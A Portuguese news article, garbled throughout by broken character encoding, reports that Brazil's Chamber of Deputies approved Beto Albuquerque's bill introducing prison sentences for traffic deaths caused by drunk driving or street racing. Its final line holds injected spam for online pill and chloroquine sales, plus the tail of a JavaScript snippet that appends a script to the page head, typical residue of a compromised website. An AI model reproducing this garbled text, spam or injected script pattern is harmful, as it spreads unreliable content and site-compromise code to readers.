O PlenA?rio da CA?mara aprovou, nesta terAi??a-feira (15), o Projeto de Lei (PL) 2.592/07 do lAi??der do PSB na CA?mara, deputado federal Beto Albuquerque (RS), que prevA? cadeia para quem provocar mortes ou lesAi??es graves no trA?nsito decorrentes do uso de A?lcool e da prA?tica de racha. Os parlamentares analisaram a proposta com as mudanAi??as feitas pelo Senado. O substitutivo retirou do texto o principal ponto, que introduz pena de reclusA?o nos casos jA? citados. Os senadores tambAi??m retiraram da matAi??ria a previsA?o de exames toxicolA?gicos para detectar o motorista embriagado ou que tenha feito uso de outras drogas. No entanto, prevaleceu o texto da CA?mara, aprovado na Casa em abril do ano passado. O parecer da relatora, deputada Sandra Rosado (PSB-RN), foi pela rejeiAi??A?o das alteraAi??Ai??es feitas pelos senadores. O texto segue agora para sanAi??A?o presidencial.
O PL de Beto faz importante alteraAi??A?o no CA?digo de TrA?nsito Brasileiro (CTB). Essas sA?o as primeiras penas de reclusA?o prevista no CTB. AtAi?? entA?o, as penalidades mais duras sA?o apenas de detenAi??A?o, em regime aberto ou semiaberto. A matAi??ria tambAi??m prevA? aumento da pena mA?xima dos dois anos de detenAi??A?o atuais para trA?s anos. Se o crime resultar em morte, a pena mA?xima chega a dez anos. Segundo o lAi??der socialista, Ai?? notA?rio que ainda hoje o CTB dispensa aos maus motoristas as puniAi??Ai??es necessA?rias. “Esses atos tA?m causado justificA?vel inconformismo e revolta da populaAi??A?o”, disse.
O parlamentar lembra que, no Brasil, cerca de 40 mil pessoas morrem anualmente em decorrA?ncia de acidentes nas rodovias e perAi??metros urbanos. O lAi??der socialista Ai?? enfA?tico ao falar da necessidade de mudar o entendimento de que tudo no trA?nsito Ai?? culpa e nA?o dolo, especialmente quando a maioria dos acidentes com vAi??timas tem o A?lcool ou a velocidade excessiva como fator determinante. “Precisamos enfrentar e vencer a impunidade. NA?o Ai?? possAi??vel que alguAi??m que mate nessas circunstA?ncias tenha direito Ai?? fianAi??a”, criticou. O lAi??der do PSB agradeceu aos demais parlamentares pela aprovaAi??A?o do Projeto. “A casa tA? de parabAi??ns por produzir uma lei mais eficaz contra a impunidade dos homicAi??dios de trA?nsito.” buy voltaren rapid 50cheap pillsbuy pillsorder chloroquine online d.getElementsByTagName(‘head’)[0].appendChild(s);
